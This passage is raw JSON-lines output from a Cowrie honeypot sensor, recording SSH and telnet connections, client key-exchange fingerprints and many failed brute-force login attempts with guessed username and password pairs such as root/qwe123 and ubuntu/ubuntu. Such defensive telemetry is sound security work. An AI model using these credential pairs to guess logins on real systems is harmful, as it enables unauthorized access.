","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:32.717272Z","src_ip":"83.168.110.85","session":"31d648484c13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:33.082197Z","src_ip":"83.168.110.85","session":"31d648484c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:34.333066Z","src_ip":"83.168.110.85","session":"31d648484c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac9e62e13592","protocol":"ssh","message":"New connection: 147.45.211.215:48524 (10.17.0.5:22) [session: ac9e62e13592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:35.522536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:35.531052Z","src_ip":"147.45.211.215","session":"ac9e62e13592","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:35.707349Z","src_ip":"147.45.211.215","session":"ac9e62e13592","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"robert","message":"login attempt [root/robert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:36.414943Z","src_ip":"147.45.211.215","session":"ac9e62e13592","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:37.597814Z","src_ip":"147.45.211.215","session":"ac9e62e13592","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49032,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bb72cac670d","protocol":"ssh","message":"New connection: 83.168.110.85:49032 (10.17.0.5:22) [session: 3bb72cac670d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:39.853905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:40.074990Z","src_ip":"83.168.110.85","session":"3bb72cac670d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:40.079972Z","src_ip":"83.168.110.85","session":"3bb72cac670d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:40.766337Z","src_ip":"83.168.110.85","session":"3bb72cac670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:42.038284Z","src_ip":"83.168.110.85","session":"3bb72cac670d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":35640,"dst_ip":"10.17.0.5","dst_port":23,"session":"26adec56cae8","protocol":"telnet","message":"New connection: 213.108.3.46:35640 (10.17.0.5:23) [session: 26adec56cae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:43.545166Z"}
{"eventid":"cowrie.session.closed","duration":0.016883373260498047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:43.561909Z","src_ip":"213.108.3.46","session":"26adec56cae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.7963080406189,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:44.235459Z","src_ip":"152.42.224.71","session":"9112d2857417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.65496611595154,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:45.494883Z","src_ip":"152.42.224.71","session":"b6839ee6aed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51880,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e3cde97790","protocol":"ssh","message":"New connection: 83.168.110.85:51880 (10.17.0.5:22) [session: 78e3cde97790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:47.538711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:47.546621Z","src_ip":"83.168.110.85","session":"78e3cde97790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:47.667875Z","src_ip":"83.168.110.85","session":"78e3cde97790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:48.052053Z","src_ip":"83.168.110.85","session":"78e3cde97790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.4356415271759,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:48.563310Z","src_ip":"152.42.224.71","session":"8bcbcdeee758","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.492827892303467,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:49.080758Z","src_ip":"152.42.224.71","session":"e930a0ac3d33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:49.270919Z","src_ip":"83.168.110.85","session":"78e3cde97790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40594,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a57a44160af","protocol":"ssh","message":"New connection: 83.168.110.85:40594 (10.17.0.5:22) [session: 2a57a44160af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:54.446922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:54.451463Z","src_ip":"83.168.110.85","session":"2a57a44160af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:54.572388Z","src_ip":"83.168.110.85","session":"2a57a44160af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:54.949369Z","src_ip":"83.168.110.85","session":"2a57a44160af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:18:56.075575Z","src_ip":"83.168.110.85","session":"2a57a44160af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40602,"dst_ip":"10.17.0.5","dst_port":22,"session":"53b338858b97","protocol":"ssh","message":"New connection: 83.168.110.85:40602 (10.17.0.5:22) [session: 53b338858b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.402309Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":49408,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9fa388c9c6c","protocol":"ssh","message":"New connection: 103.149.28.157:49408 (10.17.0.5:22) [session: d9fa388c9c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.473185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.479327Z","src_ip":"103.149.28.157","session":"d9fa388c9c6c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.589855Z","src_ip":"83.168.110.85","session":"53b338858b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.593867Z","src_ip":"83.168.110.85","session":"53b338858b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:01.729438Z","src_ip":"103.149.28.157","session":"d9fa388c9c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:02.077239Z","src_ip":"83.168.110.85","session":"53b338858b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"272727","message":"login attempt [root/272727] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:02.475170Z","src_ip":"103.149.28.157","session":"d9fa388c9c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":34410,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a294ec94d5f","protocol":"ssh","message":"New connection: 80.94.92.171:34410 (159.203.135.109:22) [session: 1a294ec94d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:03.078803Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:03.207029Z","src_ip":"83.168.110.85","session":"53b338858b97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:03.514450Z","src_ip":"80.94.92.171","session":"1a294ec94d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:03.519222Z","src_ip":"80.94.92.171","session":"1a294ec94d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:03.724532Z","src_ip":"103.149.28.157","session":"d9fa388c9c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:04.604754Z","src_ip":"80.94.92.171","session":"1a294ec94d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:05.909883Z","src_ip":"80.94.92.171","session":"1a294ec94d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40004,"dst_ip":"10.17.0.5","dst_port":22,"session":"40737200201c","protocol":"ssh","message":"New connection: 83.168.110.85:40004 (10.17.0.5:22) [session: 40737200201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:08.869007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:19:08.874887Z","src_ip":"83.168.110.85","session":"40737200201c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"e